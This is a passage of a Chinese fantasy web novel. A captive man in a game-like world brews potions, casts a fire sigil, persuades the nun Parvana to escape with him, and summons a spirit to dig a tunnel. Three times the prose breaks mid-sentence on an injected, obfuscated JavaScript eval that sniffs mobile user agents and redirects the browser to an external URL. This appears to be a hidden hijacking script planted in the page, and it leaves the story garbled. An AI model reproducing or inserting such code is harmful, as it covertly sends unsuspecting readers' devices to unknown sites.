——帕尔瓦娜在外面,自从几个小时前的那场“争执”过后,她就再也没有搭理过周祈,虽然她之前也不怎么搭理他。 两个人之间刚刚燃起的那簇信任的小火苗就这样无声无息地熄灭了。 周祈头疼的同时,又安慰自己,至少现在帕尔瓦娜绝对不会进来监视他,他可以趁机试验一下笔记中记载的拗转药剂是否真实有效。 他将那些瓶瓶罐罐摆在书桌上,包括蜡烛、坩埚以及各式各样的支架,宽大的书桌瞬间变成了一张炼金术士的工作台。 书架底端的小柜子里放着数支玻璃试管,正好可以用来做容器。他取来五支试管插在木头架子上,开始摆弄一旁的坩埚。 周祈在游戏里经常使用坩埚自行调配药剂,但那时候只需要敲敲键盘、动动鼠标,还没有星露谷的钓鱼操作难度大。 现在是真的给他一口锅,要他真刀真枪的实地操作,两者的难度不在一个层级。 他点好火,按照笔记上写的,要先在坩埚中加入一份纯水,周祈不懂“一份”的定义,干脆拿了根试管当量具,向坩埚中加入一根试管的纯水。 “二分之一份的迷迭香,还有二分之一份的…姜?” 这药剂调出来味道能好喝吗?——反生姜协会名誉主席小周如是说。 他皱着眉头,将配方中剩余的苦橙叶、丁香花以及研磨后的燧石粉末都扔进了锅里。 这玩意儿喝进肚子里会重金属中毒吗? 应该不会吧…… 毕竟从严格意义上来说,拗转药剂是给星虫喝的,而不是给被寄生者喝的,他只是起到了一个“传递”的作用,所以要中毒也是星虫中毒。 周祈胡思乱想之时,坩埚中那一团“不可名状”的液体开始咕噜咕噜冒泡泡,他找出一根不明材质的搅拌棒,在一旁不停地搅拌。 随着时间的流逝,坩埚中灰白色的液体在某一瞬间变成了橙色,就像酸碱中和滴定实验一样神奇。 周祈将这些看起来像岩浆的橙色液体转移至玻璃试管内,奇怪的是,“岩浆”看起来仍在沸腾,摸起来却并没有温度,似乎只是这类药剂的特性。 【扭转药剂·橙】 【可将星虫表现出的魂质特性拗转为橙色】 【无副作用】 可能是因为这是他自己制作的物品,【通晓】触发得异常顺利。 周祈迫不及待地将这支属于【橙色准则】的拗转药剂全部喝进肚子里。药剂进入身体的一瞬间,他感觉自己全身的肌肉、血管像在被两柄铁锤交替捶打。 这种感觉持续了五秒,他掀起上衣,腹部那道金光闪闪的伤口已经开始泛起橙色的光芒。 游戏世界总共有九准则,它们没有具体的名字,只是由各自的颜色来代指。 橙色代表的是“火与钢铁”,是所有准则中与火焰关系最密切的一种,橙色准则的秘术师掌握的也多是与火焰有关的秘术。 接下来,周祈还要测试一下自己现在是不是真的可以使用橙色准则的秘术。 法印,也有秘术师将它称为“符咒”。法印必须借助灵石作为基底,在其上铭刻不同的符号,以此来施展秘术。 与橙色准则最契合的宝石是“龙芯晶”,但那玩意在游戏里属于价值连城的存在,周祈也是在大后期才勉强拥有过一块。 先不说修道院里有没有这玩意儿,以他目前的人设,根本就不应该知道龙芯晶的存在,他不敢把它写在清单上。 不过问题不大,传道士送来的燧石同样拥有橙色属性,虽然品质比不上龙芯晶,导灵性差了点,但用来做一阶秘术法印完全足够了。 周祈回忆着笔记上的内容,在燧石上刻下了一个名叫【火球术】的秘术。 【秘术法印·火球术】 【一阶】 【效果:召唤火球,向指定方向发射。】 【通晓】弹出提示,替他确认这块法印刻印成功。 周祈将法印攥在右手掌心,尝试调动汇集在右眼处的灵知——也就是游戏中的蓝条,将那股力量沿着手臂灌注进那块燧石之中。 法印瞬间被激发,朱红色的火焰从指尖涌出,像两条灵活的火蛇,在他的指缝和手掌之间来回翻涌。 成功了!现在他真的可以支配橙色准则的秘术了! 周祈激动地攥紧拳头,尝试着挥舞几下,火焰跟随他的双手在空气中燃烧。 他没有将火焰凝聚成火球发射出去,那样做必定会制造出不小的动静,他现在正在做的事见不得光,不能那么高调。 就在周祈沉浸在第一次体验秘术带来的亢奋中时,他突然听到外面的起居室传来脚步声。 帕尔瓦娜无论是呼吸还是移动都不会发出任何声音,外面的动静显然不是她制造出来的。 周祈驱散双手的火焰,快步来到门边,将耳朵贴在门板上,脚步声立刻变得更加清晰,他仔细分辨,来的人似乎还不止一个。 “还是修女的差事轻松啊,沙发、壁炉……” 他听见一个男人的声音,随后是另一个。 “那让你和她换你愿意吗?” “那还是算了吧,我可不想每天掰着指头数自己还剩多少天可以活。” 他们在聊帕尔瓦娜的事? 周祈悄无声息地拉开一条门缝,起居室灯火通明,两个黑衣传道士倚靠在房间中央的沙发上,姿态散漫,看起来十分放松。 他的位置可以看清整个起居室,那个沉默寡言的女孩并没有在这里。 他想起蒂尔神父临走前曾提醒过帕尔瓦娜,说什么“今天是17号”,让帕尔瓦娜不要忘记她需要做什么。 17号是什么日子?帕尔瓦娜要为神父做什么事? “哎。这么一想,她还怪可怜的。” “可怜?她可是从不发愿高地活着走出来的人,手里不知道捏着多少条人命。” “不发愿高地,我之前就听说过这个名字,那究竟是什么地方?” 修道士压低声音,回答同伴的问题,“在兰蒂尼恩时,有一位同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418462|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僚曾告诉过我,不发愿高地其实是一座地下监牢的名字,由绝望夫人亲自看守。” 绝望夫人? 听起来像是比蒂尔神父更高一级的存在。 “那里面关着的都是几位主教大人从不同国家和地域带回来的女孩,绝望夫人让她们自相残杀,抵抗的人会遭受刑罚,所以,第一个女孩拿起刀的时候,剩下的人也就不得不使用武器来保护自己。” 说到这里,他停顿了一下,接着又换上更加讳莫如深的腔调。 “而且,听那位同僚说,这些女孩甚至还拥有部分相同的血脉。” 另一名传道士睁大眼睛,“那也就是说,她们都是姐妹?” “是啊。”传道士点头,“和自己的亲人挥刀相向,在那种环境下成长起来的怎么可能是正常人?帕尔瓦娜修女虽然没有得到主的敕印,但如果你对她没有防备,她能藏在阴影中一刀割断你的脖子。” 周祈默默听着,大概弄懂自己之前问的问题为何会刺激到女孩,甚至让她想要杀了自己。 原来这就是修道院中只有一名修女的原因。 但有一点周祈没弄明白,帕尔瓦娜从传道士口中的“不发愿高地”活着走了出去,说明她是那场“大逃杀”的最终优胜者,但传道士却说她并没有得到神明的敕印。 敕印是成为神明追随者的象征,是任何教团成员必定拥有的东西,如果帕尔瓦娜没有敕印,说明她根本没有被这个组织接纳。 那她在这座修道院中扮演的角色究竟是什么? 周祈很快就得到了这个问题的答案。 “欸。” 沙发上的传道士突然发出一声意味不明的慨叹,“不管她是怪胎还是精神病患,都要从这个世界上消失了。” 他朝书房的方向努了努嘴,“如果不是这小子的出现让蒂尔神父暂停了献祭,或许今天她就该为了灌溉花种献出生命了……” 周祈合上门,扶着把手,试图消化从两名修道士口中听到的巨量信息。 如果他没有理解错误,那么,看似在修道院畅行无阻、站在食物链中层的帕尔瓦娜,其实和他一样,也是等待被献祭的祭品? ** 整整三个小时后,帕尔瓦娜才再次回到起居室。 她一如既往地讨厌光亮,那两名传道士离开之后,她立刻就要去关墙上的煤气灯。 周祈早就站在门边,悄悄观察着屋外的动静,在帕尔瓦娜抬手关灯之时,他注意到女孩的手掌处多了一圈白色的布条,以及从中渗出的血迹。 她受伤了。 这就是神父口中所说的,需要她去做的事吗? 那圈白色的布条裹得十分草率,隐约还能瞥见向外卷凸的伤口,这是一道竖向的刀口,从手指根部开始,一直向下延伸,没入她的袖口。 除了一根几乎没有起到任何作用的布条之外,伤口没有进行任何处理,鲜血还在不断向外涌出。 这样是不行的。 周祈关上门,看向书桌旁装满灵性材料的箱子。 如果游戏里的仪式可以顺利举行,那他知道的那些魔药也一定有效。 9. 密苑钟声(九) “咔哒——” 那间亮着光的小房间传来极轻的一声响动,但还是被女孩捕捉到。 黑暗让她的听觉更加敏锐,而这只是她习惯藏在阴暗角落的无数种理由之一。 她知道那个人正在向自己的方向靠近,尽管他很努力的放轻了脚步。 帕尔瓦娜没有做出任何行动来阻止他。 无非是再说一番愚蠢又自以为是的话,试图让自己放下对他的戒备。 她能感觉出来,那个人对她说的每一句话都是精心排练过的。 他总是能巧妙地戳中自己心中某个奇妙的“点”,就好像他真的了解自己过去的经历一样。 但帕尔瓦娜并不认为自己会因此对他产生所谓的“信任”。 她现在只想安静地死去,结束她满溢着腐烂的恶臭味的人生。 “帕尔、帕尔瓦娜……” 周祈试探着喊了一声女孩的名字,“我可以这么叫你吗?” 帕尔瓦娜没有回答他。 周祈接着往她身边靠近,“你刚刚进来的时候,我恰好在门边,看到你手上的伤,所以……” 他开始直接称呼她的名字,并且不再使用敬语,用这样的方式来暗示她,两人之间的关系已经比刚开始时拉近了不少。 “停下。” 周祈已经习惯了女孩的沉默寡言,此刻听到她的声音,一时有点没反应过来。 “不要再靠近了。” 天呐,她竟然说了一句两个字以上的话。 周祈一向有着乐观的心态,帕尔瓦娜警告他不要再靠近,但他却诡异地联想到那种角色好感度提升后会解锁新对话的游戏。 现在的情况怎么不算是自己解锁了帕尔瓦娜的新对话呢? 他晃了晃手中的玻璃试管,“我知道一个能治愈刀伤的药粉,想着你应该需要,正好手边有制作它需要的材料,就把它做了出来。” 这句话起到了一些作用,帕尔瓦娜转过头,黑暗让周祈无法看清她脸上的表情,但得益于寄生在他肚子里的那玩意儿,他的直觉比还是普通人的时候提升了很多。 他感受到女孩的目光投向他手中紧握着的玻璃试管,又顺着透明器皿的上缘移动至他的手指、掌心,越过他的手腕,一寸一寸向上,攀升至他裸露在外的脖颈,最终落在他的脸上。 帕尔瓦娜的视线像是某种寄居在深海的软体动物,湿冷、黏滑,周祈甚至能感受到类似章鱼触手一样的事物在脸上滚过,触手上密密麻麻的吸盘纠扯着他的脸皮,火辣辣的,好像要烧起来了。 尽管他早做好了充足的思想准备,却还是无法遏制身体的本能,汗毛倒耸,鸡皮疙瘩起了一身。 “如果你不相信的话……” 他拔出瓶塞,取出一点粉末,将它们涂抹在自己颈部那条浅浅的伤口上。 魔药粉末具有很强的刺激性,像在伤口上洒了一把盐一样,周祈忍不住倒吸一口冷气。 药粉的效果也很明显,短短几秒,那道伤口已经愈合,虽然没有光,但他相信帕尔瓦娜能观察到自己身上发生的变化。 “你看,它无毒无害,并且很快治愈了我脖子上的伤口,是不是很神奇?” 他一边说着,一边继续挪动脚步,向那只蛰伏在黑暗中的小兽靠近。 帕尔瓦娜没有再阻拦他,但也没有移开她的视线。 这短短的几步简直像越过了一道天堑,周祈顶着帕尔瓦娜强烈的目光走至她面前。 前两次的接触都是因为帕尔瓦娜单方面对他发动袭击,这还是他第一次在正常状态下离帕尔瓦娜这么近。 她的目光变得更加浓烈,甚至到了周祈无法平静对待的程度。 他深吸一口气,用柔和的语气向帕尔瓦娜发出邀请,“让我来帮你,好吗?” 女孩不说话,但也没有拒绝。 周祈伸出空着的那只手,试探着向前,握住帕尔瓦娜的手腕。 尽管隔着一层布料,女孩还是剧烈地颤抖了一下。 她排斥一切与攻击无关的肢体接触,她不想让这个人碰自己,她想要挣脱。 但就在这个时候,那只手掌的温度透过袖口的布料传递到她手腕的皮肤上,他的体温比任何一种秘术都更加恶毒,她在一瞬间失去任何反抗的力气。 “一定很疼吧。” 他的声音也是如此的恶毒。 周祈抬起女孩的手臂,卷起她的袖口,伤口比他想象的还要长,用来简易包扎的布条缠满了整条小臂。 他解开布条,看到那条像小蛇一样盘踞在女孩手臂上的伤口,他的心莫名向下沉了一些。 “可能会有点疼。”周祈攥住玻璃试管,用嘴咬开瓶塞,“但只会疼一下,而且它会让你的伤口很快愈合,你稍微忍一下,如果实在忍不了的话,可以掐我。” 帕尔瓦娜直勾勾地盯着他的眼睫毛看,说,“我喜欢疼。” 怎么有人会喜欢疼呢? 周祈倾斜瓶身,将其中的药粉缓缓倾倒在那条绽开的伤口上,帕尔瓦娜连哼都没哼一声,表情如常。 “你手上的伤,是那个神父做的吗?” 周祈哑着声问。 女孩垂下眼,回答他,“是我自己。” “为什么?” “他们需要我的血。” 或许是自己帮她治伤的原因,她竟然开始有问必答,这让周祈有些惊喜,他一边给帕尔瓦娜涂药,一边继续往下问。 “那,是不是等到他们不再需要你的血液,就会像对待我们一样对待你?” “嗯。” 周祈给她伤口的每一寸都涂上了药粉,接着又从自己身上扯下一截干净的裤管,给她包扎伤口。 “你……不害怕吗?” 帕尔瓦娜抬眼看他,像在问他“害怕什么”。 周祈犹豫着说出一个单词,“死。” 帕尔瓦娜迟疑片刻,平静地回答他,“无所谓。” 周祈曾经的工作是帮助求助者化解各式各样的负面情绪和心结,女孩的回答几乎立刻激发了他的职业病。 他给那根干净的布条系了个蝴蝶结,状似随意地对女孩说,“我计划从这里逃出去。” 帕尔瓦娜的表情没有变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418463|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化,她从一开始就看出来这个人在用谎言欺骗蒂尔神父,所以并不惊讶。 周祈继续说,“并且,我准备带上你一起。” 帕尔瓦娜猛地抬起头,刚刚被包扎好的手掌紧紧攥成拳头。 她以为自己出现了幻觉,但那个人又开口了。 “跟我走吧。”他说,“帕尔瓦娜,和我一起离开这里。” 她可以肯定,自己刚刚听到了全世界最最恶毒的诅咒。 她死死盯着那个人的脸,想从他的脸上看到戏弄、看到嘲讽。 但她看不清。 于是她第一次生出想要离开黑暗,站到有光的地方的想法。 空气像凝固了一般,良久之后,她缓缓开口,“为什么?” 周祈掰开她的指头,还未愈合的伤口又渗出些许星星点点的血迹,他把自己的掌心和帕尔瓦娜的手掌贴在一起,小心翼翼地握住她的手指,“因为你很特别。” “你和这里的所有人都不一样,一颗璀璨的宝石不应该被埋没在污泥之中,所以我觉得你的生命不应该在这里画上句号。” “我们一起逃出去,然后去一个温暖的地方,找个靠海的房子,在花园种满铃兰花。” 他将这些恶毒的话语说得情真意切,帕尔瓦娜无论如何也不愿意相信。 “……你说过,我像你死掉的妹妹。” 她找到了最合理的理由,他把她当成一个死掉的人的替身,一定是因为这个。 周祈自己都快忘了这一茬,他张了张嘴,说,“有一部分这样的因素在。” 果然是这样。 帕尔瓦娜看着两人贴合在一起的手掌,像要把那个人的手背烫出一个洞来。 他在利用她,她现在应该拒绝他,杀了他,或者是告诉蒂尔神父,让他们来处决这个妄图逃跑的囚徒。 但是她没有。 她像是刚刚拥有手指一般,机械地、僵硬地回握住那个人的手。 周祈心中惊喜,急忙问她,“你是同意了吗?” 帕尔瓦娜不说话,只是抓着他的手不放开。 “如果你不说话的话,我就当你是默认了。” 女孩低着头,说,“蒂尔是四阶秘术师,你不可能胜过他。” 居然是四阶秘术师吗…… 周祈之前一直猜测他是三阶,如果是四阶的话,他确实不可能有任何胜算。三阶和四阶虽然只差了一级,却有着天差地别的不同。 而周祈估算他自己现在应该还没有等阶,只是借用星虫的力量能够使用一阶法印而已,比正常的一阶秘术师还要弱上不少。 “没关系。”他依旧乐观,“具体怎么逃出去由我来计划,你只需要相信我、配合我就可以了。” 他的话莫名令人信服,帕尔瓦娜没再说话,算是默认。 “那么,第一步。” 周祈将帕尔瓦娜引至书房,递给她纸和笔,“把这栋建筑的平面图画出来,告诉我守卫的分布和他们轮值的具体时间。” 帕尔瓦娜看着他递来的东西,顿了一下才接过去,开始用钢笔在纸上描画。 10. 密苑钟声(十) 帕尔瓦娜很快画好了修道院的平面图。 他们目前所在的位置位于修道院的地下一层。 整个地下室像一个密不透风的监牢,只有一个通向地面的楼梯,楼梯口建了两扇铁门,四名传道士两两成组,交替值守。 西奥多·莱特的笔记中提到过,修道院地下是一片墓葬,那按道理来说,地下室应该还有一个向下的入口才对。 周祈向帕尔瓦娜反复确认,女孩也一直给出同一个答案:除了楼梯间之外,地下室没有其他出口。 一条狭长的走廊将地下室的各个房间连接起来,六名传道士分成两组,交替在走廊上巡视,每两个小时换一次班。 地面上的守卫情况更加复杂,光是巡逻的传道士就多达一组六人。 利用守卫换班的时间差、从楼梯正面逃跑几乎是不可能的事。 如果能找到什么秘密通道之类的设施就好了。 他一边想着,注意力落在走廊最深处的那个房间。 “帕尔瓦娜,这个房间是做什么用的?” 女孩看向他手指的地方,回答他,“浴室。” 浴室? 也就是说有下水管道。 而且这间浴室还在地牢最深处,整个修道院的排水系统都有可能集中在那里。 周祈在心里估测来一场“修道院的救赎”的可能性。 帕尔瓦娜不清楚修道院的排水系统结构,周祈无法推断出确切的答案,最终决定想办法进入那间浴室,实地勘察一下。 ** 周祈又在书房睡了一觉。 他制作了新的拗转药剂和法印,但又害怕神父过来视察时发现端倪,所以没敢制作太多。 剩下的时间里,除了睡觉外,他一直在阅读书架上的书籍,虽然那些书对他的提升不大,但蚊子腿也是肉,能薅一点是一点。 男同虐恋的剧情已经进行到菜鸟秘术师带球跑,大秘术师幡然醒悟、追悔莫及,开始发疯全城搜捕昔日的爱人。 周祈很想知道两个男人之间为什么会发生带球跑这样的情节,但他转念一想,都秘术世界了,还有什么不可能的。 游戏里可是存在让男人变成女人、让女人变成男人、分裂自己的灵魂创造出另一个性别的自己、或是两种性别叠加在同一具身体上……诸如此类颠覆三观的秘术。 和这些比起来,让男人怀孕似乎只是小打小闹。 一觉醒来,他的状态重新恢复到最佳,刚要测试一下笔记中记载的召唤异世界魂质的仪式,守在门外的女孩用她独特的方式敲了下门。 她推开一丝门缝,用只有两人能听到的声音说,“蒂尔神父马上要来了。” 周祈立刻打消了要测试魂质召唤仪式的想法,并迅速将桌面上摆放的法印和药剂藏在书架背后。 他一边收拾,一边在心中感叹,帕尔瓦娜竟然开始主动帮助他了,他们之间那簇信任的小火苗终于复燃,并隐隐有越烧越旺的趋势。 门外很快响起踢踢踏踏的脚步声,两名传道士推门而入,银白色头发的神父在他们之后走了进来。 “把你做好的东西拿出来。” 他在书桌上瞟了一眼,那上面却只有仪器和一些材料,并没有成型的物品。 “抱歉,大人……” 周祈低下头,把他早就准备好的图纸递了过去,“它实在太复杂了,我还需要一些时间。” 蒂尔接过图纸,看到一个略显怪异的图形,那图案像是大号的数字“8”,上面画满了密密麻麻的符号,似乎是某种线条更加繁复抽象的象形文字。 “这是那三样物品中的哪一个?” “是那个匣子,大人。” 匣子? 蒂尔转动纸张的方向,从哪个角度看这东西都绝不像个匣子。 他把图纸拍在书桌上,用阴恻恻的目光看向对面的黑发青年,“我再给你12个小时的时间,做不出来,我就杀了你。” 原本低着头的青年向椅子的靠背倒去,原本怯懦的神情消失不见,取而代之的是满脸的生无可恋。 “您现在就杀了我吧,大人。” “什么?” 蒂尔以为自己听错了。 青年再次开口,“我有点不想活了。” 你不想活了?你不想活了谁来给我翻译那本书? 蒂尔皱起眉头,问他,“为什么?” “因为我有洁癖,但我已经三天没有洗过澡了。” 周祈直起上半身,开始抓挠自己的手背和胳膊,“我现在感觉自己像一个巨大的细菌培养皿,那些看不见的脏东西正在往我的皮肤里钻,太脏了,实在太脏了。好想、好想把我的外皮扒下来……” 说话的功夫,他的手背已经布满抓痕,隐隐有挠破的迹象,“我没办法在这样的状态下工作,大人,如果不让我洗澡,不让我换上一身干净的衣服,还不如把我杀了。” 看着他手背上一道一道渗着血丝的抓痕,蒂尔并不觉得这个人在撒谎骗自己。 他挑了挑眉,“你在威胁我?” 周祈仰头看着天花板,用决绝的语气说着最窝囊的话,“那您杀了我吧。” 蒂尔忍不住攥紧拳头,就在昨天,他已经将这个人和他翻译出的内容都如实汇报,主教阁下对他讲述的故事也起了极大的兴趣,准备亲自主持三天之后的献祭仪式,顺便和这个人见上一面。 如果不是这个原因,他真的很想现在就杀了这个人。 “修女。”蒂尔对着门外喊了一声,“给他一身衣服,再带他去浴室。看好他,别让他耍什么花招。” 周祈立刻换上惊喜的表情,银发神父冷哼一声,“后天之前,如果你没有做出匣子,或是没有把剩下的内容翻译完,我一定让你付出应有的代价。” ** 周祈穿过昏暗的长廊,在帕尔瓦娜的带领下来到尽头的那间房间外。 他手里拿着传道士送来的衣服,推开门走了进去,女孩跟在他身后,也想要进来。 “欸。”周祈立刻阻止她,“你别进来。” 帕尔瓦娜抬眼和他对视,碧绿色的双眼中挂着若有似无的疑惑。 “这里是浴室,在别人眼里,我来这里是为了洗澡,你和我一起的话会很奇怪。” “为什么?” 她意外地开始刨根问底。 “因为……” 周祈一时不知道该怎么和她解释,干脆换了个理由,“你守在外面会比较好,如果有人过来,你可以和刚才那样提前提醒我。” 帕尔瓦娜考虑了几秒,最终放开了门把手,算是认可了他的说法。 周祈松了口气,总算能放心地走进浴室。 浴室的空间很小,仅仅容纳得下两个人同时沐浴,天花板的高度可能只有两米,而周祈的身高接近一米九,整个空间对他来说过分压抑。 房间的墙面贴满小块的白色瓷砖,墙上没有窗户,灯泡在他眼前晃动,淡黄色的光芒刺得他睁不开眼。 周祈用指关节在墙面和地面来回敲击,想找出管道的具体位置,很快,他在靠近墙角的位置找到几块敲击声和别处不同的瓷砖。 他打开靠近门边的喷头,雾状的水汽很快充满整个房间,借着水声的掩盖,他拿出一块火球术法印,向其中灌注自己的灵知。 法印表面的符号发出橙黄色光亮,与此同时,火焰再次环绕在他的双手表面。 刚准备将火焰凝成一团小小的火球,周祈又突发奇想,既然火球是自己控制火焰凝成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418464|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,为什么不能换一个形状呢? 他立刻把自己的想法付诸实践,按照脑海中构思的那般,将两条火蛇凝成一个前端尖锐、类似破窗器的形状,砸向瓷砖的右上角。 尽管有花洒喷水的声音遮掩,他也尽量控制了火锥的力度,但还是不可避免地制造出一声不小的响动。 门外响起熟悉的敲门声,却比之前的都要急促一些。 “没事,是我摔倒了。” 女孩带有独特磁性的嗓音在门外响起,“……为什么。” “太滑了。” 他随便解释了一句,以为帕尔瓦娜不会再说什么,但那道空灵的声音却再次在门外响起。 “小心。” 周祈愣了一下。 帕尔瓦娜的词库里竟然还积累了关心人的单词。 他忍不住勾起嘴角,回应她,“知道了。” 周祈的注意力回到面前的瓷砖上,火锥在光洁的表面制造出一个小小的裂口,他伸出手,将那块摇摇欲坠的瓷片渣掰了下来。 瓷砖的背后是一堵由水泥混凝土浇灌而成的墙壁,淅沥沥的水流声墙壁那端不间断传来。 周祈不敢再将裂口扩大,现在的小洞还比较好遮掩,但这么小的洞口,勉强能伸进去两根指头,想要凿出一条通向主管道的路几乎是不可能的。 还好,他可以呼叫帮手。 希望那个异世界有挖洞很在行的魂质朋友。 他把来这里之前藏在袖口中的东西都倒了出来。 五根红色的灵烛,以及帕尔瓦娜的仪式匕首。 他紧握仪式匕首,先是快速完成驱逐的前置工作,随后用刀刃的前端刺破右手食指,就着自己的血,在浴室的地面上描画出一个巨大的五角星。 五角星图案在《无光密界》的世界里被称为“尖刺形”,或许是造型尖锐的缘故,更多被视为邪恶力量的象征。 虽然已经关上了花洒喷头,但地面上仍有一层浅浅的积水,鲜血和清水混在一起,一同向下水道的方向偏移。 在狭窄的密闭空间中用鲜血勾画邪恶的图案,这样的画面看起来莫名惊悚。 周祈把五根灵烛分别放置在五角星的五个触角顶部,并没有点燃它们。 接着,他一边回忆西奥多·莱特的笔记,一边用流血的食指将笔记中记载的符号描画在五角星图案的外缘。 如果他没有猜错,这些怪异的符号应该是一种祷文。 做完这些,周祈从地上站起。 他抬起双臂,将双手举过头顶,四根手指并拢,拇指尖连接在一起,摆成一个三角形的形状,并缓缓转动手腕的角度,让左手的腕骨处在整个“三角形”的最顶端。 这姿势过于古怪,周祈开始怀疑西奥多·莱特究竟是怎么“失误”地摆出这个动作。 他集中精神,低声诵念道,“虚界之门,请为我敞开。” 话音刚落,那五根红色的蜡烛自行燃烧起来,法阵中央隐约出现一道猩红的门扉,灰烬般的光点不断从门缝中飘散而出。 按照笔记所说,想要召唤具有何种能力的魂质,一定要在祷词中说出来,越详细越好。 “我以鲜血与灵性为媒,拜请……” 周祈深吸一口气,“体型娇小、力大无穷、动作敏捷、方向感极佳、头部呈锥形、可以咬断金属、以泥土沙石为食、擅长打洞、不知疲倦的往日生灵,请求你现身于此。” 将所有的要求说出来后,他满脸期待地看向那扇虚幻的猩红门扉。 出来吧,我的心动“魂嘉宾”。 然而下一秒,五根蜡烛毫无征兆地一起熄灭了。 …… 周祈有些茫然地看向地面的法阵。 我这是……被灭灯了? 11. 密苑钟声(十一) 周祈觉得出现眼前这种情况不是他的问题。 明显是这个名叫“虚界”的地方,魂质多样性不够丰富。 要不,减两个关键词试试? 他将手势和祷词重复了一遍,灵烛燃烧,猩红门扉再次出现。 他删掉原先的“头部呈锥形”和“不知疲倦”,这两个条件确实有点苛刻,尤其是后者,如果真的存在不知疲倦的魂质,那西奥多·莱特早该制作出秘术界的永动机来了。 “我以鲜血与灵性为媒,拜请体型娇小、力大无穷、动作敏捷、方向感极佳、可以咬断金属、以泥土沙石为食、擅长打洞的往日生灵,请求你现身于此。” 这次灵烛没再熄灭,五簇火苗依次缩小然后再腾起,像是网络卡顿后出现的缓冲图标。 大约五秒后,虚掩着的门扉向内开启,一个巴掌大小的四足生物昂首挺胸、迈着轻快的步伐从中走出。 这只魂质的全身都被一层黑灰色的鳞甲包裹,只有最前端露着一条缝隙,看起来像它的嘴。 “哦欸!” 它一张口,周祈立刻被吓了一跳。 长得还算乖巧,声音听起来怎么这么嘶哑,私底下烟酒都来? 他再定睛一瞥,那只魂质张开血盆大口,露出满嘴的獠牙,以及一根细长有力的舌头,甚至连舌头上都是看起来就很坚硬的倒刺。 他原本还怀疑这小家伙是不是真的能破开坚硬的混凝土,看到它的口腔结构后立即被说服了。 “你是否愿意与我缔结临时契约,听从我的驱使?” 鳞甲魂质又嘶吼了一声,似乎是不太情愿。 它刚想退回门内,周祈腹中的星虫突然发生变化,原本像蚕蛹一样的团状物体在一瞬间变幻成数条花纹密布的黄金触手。 金色触手从他腹中那条伤疤中涌出,鳞甲魂质似乎感知到了危险,想要加快速度逃回猩红门扉。 但它才小跳了一下,一根黄金触手已经卷住它的尾部,剩下的触手随即赶上。 它们像朵食人花一样张开大口,将猎物团团环绕,“捕捉”回了周祈腹中,鳞甲魂质就这么丧失了自己身体的支配权。 突如其来的变化让周祈有些没反应过来,听到鳞甲魂质屈辱的嘶吼声时才后知后觉——星虫替他强行完成了“签约”。 这也太霸道了…… “霸道”的星虫死死缠绕着鳞甲魂质,周祈控制星虫将它送回浴室中,把它攥在手里,递到墙上的裂口处。 “你钻进去,找到通往外界的管道,然后回来告诉我。” “哦欸!” 魂质发出一声极不情愿的嘶喊,却无法违抗契约,只能从周祈掌心跃起,灵活地钻入瓷砖上的小洞,用它的獠牙疯狂啃食着墙上的混凝土。 它速度极快,不一会儿就消失在周祈的视野中。 等待魂质回来复命的期间,周祈脱掉身上的衣服,真的开始洗澡。 他谈不上真的有洁癖,但三天没洗澡确实让人无法忍受。 等周祈洗过澡,重新穿上衣服,鳞甲魂质也蹦跶着从小洞出来,回到他的掌心之中,甩了甩头,抖出一身泥沙。 “哦欸!” 因为临时契约的原因,周祈可以理解鳞甲魂质的叫声。 它找到了一根数百米长、通往一处河谷的管道,距离浴室的墙面大概有五十米的距离。 周祈问它:“挖一条能够容纳一个人通过的路需要多久?” “哦欸!” “两天?” 那也太久了,周祈试图压缩工期,“一天。” “哦欸!” 鳞甲魂质让他别太过分。 “一天半。” 鳞甲魂质又叫了一声,它告诉周祈,魂质也是需要休息的。 休息? 周祈灵光一现,问它,“你说的两天把休息时间算进去了吗?” 魂质点了点头。 “行,两天就两天。” 周祈摸了摸它的脑袋,心里却在盘算着一个“邪恶”的计划。 鳞甲魂质对此全然不知,它回到小洞里,开始按照黑心老板的要求干活。 周祈将他掰下来的碎瓷片放回裂口处,从外面看,这块瓷砖只是被尖锐物体砸了一下,完全看不出里面有一个魂质形态的“钻头”正在打洞。 他心满意足,将灵烛收回袖中,确认地上的血迹已经被冲洗干净后,他拿上自己换下来的旧衣服,推门离开浴室。 ** 听到开门的声音,帕尔瓦娜转过头,黑发青年从门内走出,他穿着和那些传道士一样的教士服,一边向前走,一边用手指摆弄仍在滴水头发。 他个子很高,看起来并不是十分壮硕,甚至有点瘦,但他偏偏能把这件衣服完美地撑起来,肩膀、腰部以及长裤都很服帖,就像是为他量体剪裁的一样,将他的身形衬托得更加挺拔。 女孩默默拿自己的身高和他作对比,发现她似乎刚刚到青年肩膀那里。 “我们回去吧。” 